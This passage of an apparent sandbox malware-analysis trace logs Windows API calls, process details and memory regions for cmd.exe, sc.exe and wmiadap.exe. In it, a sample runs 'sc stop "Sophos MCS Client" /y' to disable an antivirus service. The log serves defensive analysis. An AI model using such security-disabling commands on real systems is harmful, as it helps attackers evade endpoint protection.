_wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.699] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.699] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.699] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.699] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.699] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.699] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.699] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.699] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.699] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.699] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.699] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.699] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.699] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0061.699] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0061.699] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0061.699] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0061.700] SetErrorMode (uMode=0x0) returned 0x0 [0061.700] SetErrorMode (uMode=0x1) returned 0x0 [0061.700] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x565df0, lpFilePart=0x2cef48 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cef48*="Desktop") returned 0x25 [0061.700] SetErrorMode (uMode=0x0) returned 0x1 [0061.700] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.700] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0061.705] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a590640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.707] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf044, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf10c | out: lpAttributeList=0x2cf044, lpSize=0x2cf10c) returned 1 [0061.707] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf044, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf104, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf044, lpPreviousValue=0x0) returned 1 [0061.707] GetStartupInfoW (in: lpStartupInfo=0x2cf000 | out: lpStartupInfo=0x2cf000*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5519ce, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0061.707] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0061.708] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos MCS Client\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2cf0a0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos MCS Client\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf0ec | out: lpCommandLine="sc stop \"Sophos MCS Client\" /y", lpProcessInformation=0x2cf0ec*(hProcess=0x7c, hThread=0x78, dwProcessId=0x910, dwThreadId=0x914)) returned 1 [0061.712] CloseHandle (hObject=0x78) returned 1 [0061.712] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0061.712] GetEnvironmentStringsW () returned 0x564dc8* [0061.712] FreeEnvironmentStringsW (penv=0x564dc8) returned 1 [0061.712] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0061.757] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x2cefe0 | out: lpExitCode=0x2cefe0*=0x424) returned 1 [0061.757] CloseHandle (hObject=0x7c) returned 1 [0061.757] _vsnwprintf (in: _Buffer=0x2cf128, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cefec | out: _Buffer="00000424") returned 8 [0061.757] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0061.757] GetEnvironmentStringsW () returned 0x566178* [0061.757] FreeEnvironmentStringsW (penv=0x566178) returned 1 [0061.757] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.757] GetEnvironmentStringsW () returned 0x566178* [0061.757] FreeEnvironmentStringsW (penv=0x566178) returned 1 [0061.757] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf044 | out: lpAttributeList=0x2cf044) [0061.757] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.757] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.758] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.758] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a5841ac | out: lpMode=0x4a5841ac) returned 1 [0061.758] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.758] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a5841b0 | out: lpMode=0x4a5841b0) returned 1 [0061.758] SetConsoleInputExeNameW () returned 0x1 [0061.758] GetConsoleOutputCP () returned 0x1b5 [0061.758] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a584260 | out: lpCPInfo=0x4a584260) returned 1 [0061.758] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.758] exit (_Code=1060) Process: id = "59" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x376000" os_pid = "0x910" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "58" os_parent_pid = "0x950" cmd_line = "sc stop \"Sophos MCS Client\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3639 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3640 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3641 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3642 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3643 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3644 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3645 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3646 start_va = 0xf30000 end_va = 0xf3bfff entry_point = 0xf30000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3647 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3648 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3649 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3650 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3651 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3652 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3653 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3654 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3655 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3656 start_va = 0x80000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3657 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3658 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3659 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3660 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3661 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3662 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3663 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3664 start_va = 0x200000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3665 start_va = 0x300000 end_va = 0x366fff entry_point = 0x300000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3666 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3667 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3668 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3669 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3670 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3671 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3672 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3673 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3674 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3675 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3676 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3677 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3678 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3679 start_va = 0x3e0000 end_va = 0x49ffff entry_point = 0x3e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3680 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x100000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 147 os_tid = 0x914 [0061.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fc04 | out: lpSystemTimeAsFileTime=0x16fc04*(dwLowDateTime=0xdf9b9300, dwHighDateTime=0x1d4abdd)) [0061.742] GetCurrentProcessId () returned 0x910 [0061.742] GetCurrentThreadId () returned 0x914 [0061.742] GetTickCount () returned 0x1cdb9 [0061.742] QueryPerformanceCounter (in: lpPerformanceCount=0x16fbfc | out: lpPerformanceCount=0x16fbfc*=1813697200000) returned 1 [0061.742] GetModuleHandleA (lpModuleName=0x0) returned 0xf30000 [0061.742] __set_app_type (_Type=0x1) [0061.742] __p__fmode () returned 0x75ed31f4 [0061.742] __p__commode () returned 0x75ed31fc [0061.742] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf379c7) returned 0x0 [0061.743] __wgetmainargs (in: _Argc=0xf39020, _Argv=0xf39028, _Env=0xf39024, _DoWildCard=0, _StartInfo=0xf39034 | out: _Argc=0xf39020, _Argv=0xf39028, _Env=0xf39024) returned 0 [0061.743] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.746] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.746] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.746] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0061.746] _wcsicmp (_String1="stop", _String2="query") returned 2 [0061.746] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0061.746] _wcsicmp (_String1="stop", _String2="start") returned 14 [0061.746] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0061.746] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0061.746] _wcsicmp (_String1="stop", _String2="control") returned 16 [0061.746] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0061.746] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0061.746] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x20f790 [0061.749] OpenServiceW (hSCManager=0x20f790, lpServiceName="Sophos MCS Client", dwDesiredAccess=0x20) returned 0x0 [0061.749] GetLastError () returned 0x424 [0061.749] _itow (in: _Dest=0x424, _Radix=1505948 | out: _Dest=0x424) returned="1060" [0061.749] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xf39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0061.750] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fa84, nSize=0x2, Arguments=0x16fa90 | out: lpBuffer="\x19d8\x21\x01") returned 0x62 [0061.751] GetFileType (hFile=0x7) returned 0x2 [0061.751] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16fa58 | out: lpMode=0x16fa58) returned 1 [0061.751] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2119d8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x16fa74, lpReserved=0x0 | out: lpBuffer=0x2119d8*, lpNumberOfCharsWritten=0x16fa74*=0x62) returned 1 [0061.752] LocalFree (hMem=0x2119d8) returned 0x0 [0061.752] LocalFree (hMem=0x0) returned 0x0 [0061.752] CloseServiceHandle (hSCObject=0x20f790) returned 1 [0061.753] exit (_Code=1060) Thread: id = 148 os_tid = 0x908 Process: id = "60" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x59baa000" os_pid = "0xb60" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0x374" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4163 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4164 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4165 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4166 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4167 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4168 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4169 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4170 start_va = 0xff0e0000 end_va = 0xff10ffff entry_point = 0xff0e0000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 4171 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4172 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4173 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4174 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4175 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4176 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4177 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4178 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4179 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4180 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4181 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4182 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4183 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 4184 start_va = 0x7fef8f20000 end_va = 0x7fef8f46fff entry_point = 0x7fef8f20000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 4185 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4186 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4187 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4188 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4189 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4190 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4191 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4192 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4193 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4194 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4195 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4196 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4197 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4198 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4199 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4200 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4201 start_va = 0x450000 end_va = 0x50ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4202 start_va = 0x530000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4203 start_va = 0x540000 end_va = 0x6c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 4204 start_va = 0x6d0000 end_va = 0x850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4205 start_va = 0x890000 end_va = 0x90ffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 4206 start_va = 0x9e0000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 4207 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4208 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4209 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4210 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4211 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4212 start_va = 0xb10000 end_va = 0xb8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 4213 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 